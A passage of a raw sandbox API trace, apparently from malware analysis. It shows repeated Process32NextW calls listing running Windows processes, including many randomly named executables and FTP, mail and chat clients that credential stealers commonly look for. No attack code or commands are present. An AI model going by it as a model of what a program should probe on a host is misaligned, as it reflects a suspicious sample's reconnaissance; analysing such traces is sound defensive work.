th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.112] lstrlenW (lpString="csrss.exe") returned 9 [0150.112] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0150.113] lstrlenW (lpString="winlogon.exe") returned 12 [0150.113] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0150.694] lstrlenW (lpString="services.exe") returned 12 [0150.694] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0150.695] lstrlenW (lpString="lsass.exe") returned 9 [0150.695] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.695] lstrlenW (lpString="svchost.exe") returned 11 [0150.695] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0150.696] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0150.696] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0150.696] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0150.696] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.696] lstrlenW (lpString="svchost.exe") returned 11 [0150.696] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0150.697] lstrlenW (lpString="dwm.exe") returned 7 [0150.697] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.697] lstrlenW (lpString="svchost.exe") returned 11 [0150.697] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.698] lstrlenW (lpString="svchost.exe") returned 11 [0150.698] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.698] lstrlenW (lpString="svchost.exe") returned 11 [0150.698] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.699] lstrlenW (lpString="svchost.exe") returned 11 [0150.699] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.699] lstrlenW (lpString="svchost.exe") returned 11 [0150.699] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.699] lstrlenW (lpString="svchost.exe") returned 11 [0150.699] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.700] lstrlenW (lpString="svchost.exe") returned 11 [0150.700] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.700] lstrlenW (lpString="svchost.exe") returned 11 [0150.700] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.701] lstrlenW (lpString="svchost.exe") returned 11 [0150.701] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.701] lstrlenW (lpString="svchost.exe") returned 11 [0150.701] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.702] lstrlenW (lpString="svchost.exe") returned 11 [0150.702] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0150.702] lstrlenW (lpString="audiodg.exe") returned 11 [0150.702] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0150.702] lstrlenW (lpString="sihost.exe") returned 10 [0150.702] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.703] lstrlenW (lpString="svchost.exe") returned 11 [0150.703] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0150.703] lstrlenW (lpString="taskhostw.exe") returned 13 [0150.703] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0150.704] lstrlenW (lpString="explorer.exe") returned 12 [0150.704] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0150.704] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0150.704] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0150.704] lstrlenW (lpString="Memory Compression") returned 18 [0150.704] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0150.705] lstrlenW (lpString="SearchUI.exe") returned 12 [0150.705] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0150.706] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0150.706] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0150.706] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0150.706] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0150.706] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0150.706] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0150.707] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0150.707] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0150.708] lstrlenW (lpString="migration dying locations.exe") returned 29 [0150.708] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0150.708] lstrlenW (lpString="college-advance.exe") returned 19 [0150.708] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0150.708] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0150.709] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0150.709] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0150.709] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0150.709] lstrlenW (lpString="metallic.exe") returned 12 [0150.709] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0150.710] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0150.710] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0150.710] lstrlenW (lpString="brown parade bases.exe") returned 22 [0150.710] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0150.711] lstrlenW (lpString="specified wales.exe") returned 19 [0150.711] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0150.711] lstrlenW (lpString="inspiration.exe") returned 15 [0150.711] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0150.711] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0150.712] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0150.712] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0150.712] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0150.712] lstrlenW (lpString="classbuck.exe") returned 13 [0150.712] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0150.713] lstrlenW (lpString="x-deutschland.exe") returned 17 [0150.713] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0150.713] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0150.713] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0150.714] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0150.714] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0150.714] lstrlenW (lpString="lawsuit.exe") returned 11 [0150.714] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0150.714] lstrlenW (lpString="3dftp.exe") returned 9 [0150.714] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0150.715] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0150.715] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0150.715] lstrlenW (lpString="alftp.exe") returned 9 [0150.715] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0150.716] lstrlenW (lpString="barca.exe") returned 9 [0150.716] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0150.716] lstrlenW (lpString="bitkinex.exe") returned 12 [0150.716] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0150.717] lstrlenW (lpString="coreftp.exe") returned 11 [0150.717] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0150.717] lstrlenW (lpString="far.exe") returned 7 [0150.717] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0150.718] lstrlenW (lpString="filezilla.exe") returned 13 [0150.718] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0150.719] lstrlenW (lpString="flashfxp.exe") returned 12 [0150.719] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0150.719] lstrlenW (lpString="fling.exe") returned 9 [0150.720] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0150.720] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0150.720] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0150.721] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0150.721] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0150.721] lstrlenW (lpString="icq.exe") returned 7 [0150.721] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0150.722] lstrlenW (lpString="leechftp.exe") returned 12 [0150.722] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0150.723] lstrlenW (lpString="ncftp.exe") returned 9 [0150.723] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0150.724] lstrlenW (lpString="notepad.exe") returned 11 [0150.724] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0150.725] lstrlenW (lpString="operamail.exe") returned 13 [0150.725] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0150.725] lstrlenW (lpString="pidgin.exe") returned 10 [0150.725] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0150.726] lstrlenW (lpString="scriptftp.exe") returned 13 [0150.726] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0150.727] lstrlenW (lpString="skype.exe") returned 9 [0150.727] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0150.727] lstrlenW (lpString="smartftp.exe") returned 12 [0150.727] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0150.728] lstrlenW (lpString="thunderbird.exe") returned 15 [0150.728] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0150.728] lstrlenW (lpString="totalcmd.exe") returned 12 